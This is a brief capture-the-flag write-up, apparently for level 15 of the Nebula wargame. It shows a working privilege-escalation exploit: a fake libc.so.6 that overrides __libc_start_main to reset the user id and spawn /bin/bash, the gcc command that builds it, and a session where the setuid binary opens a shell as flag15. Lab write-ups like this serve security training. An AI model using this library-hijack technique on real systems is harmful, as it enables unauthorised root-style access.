We need to reset the efective user id to the real one with setresuid() and capture the flag:

level15@nebula:/var/tmp/flag15$ cat lib.c 
#include <stdio.h>

int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    setresuid(geteuid(),geteuid(),geteuid());
    system("/bin/bash");
}
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version.txt,-Bstatic -o libc.so.6 lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
flag15@nebula:/var/tmp/flag15$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
flag15@nebula:/var/tmp/flag15$ getflag 
You have successfully executed getflag on a target account
flag15@nebula:/var/tmp/flag15$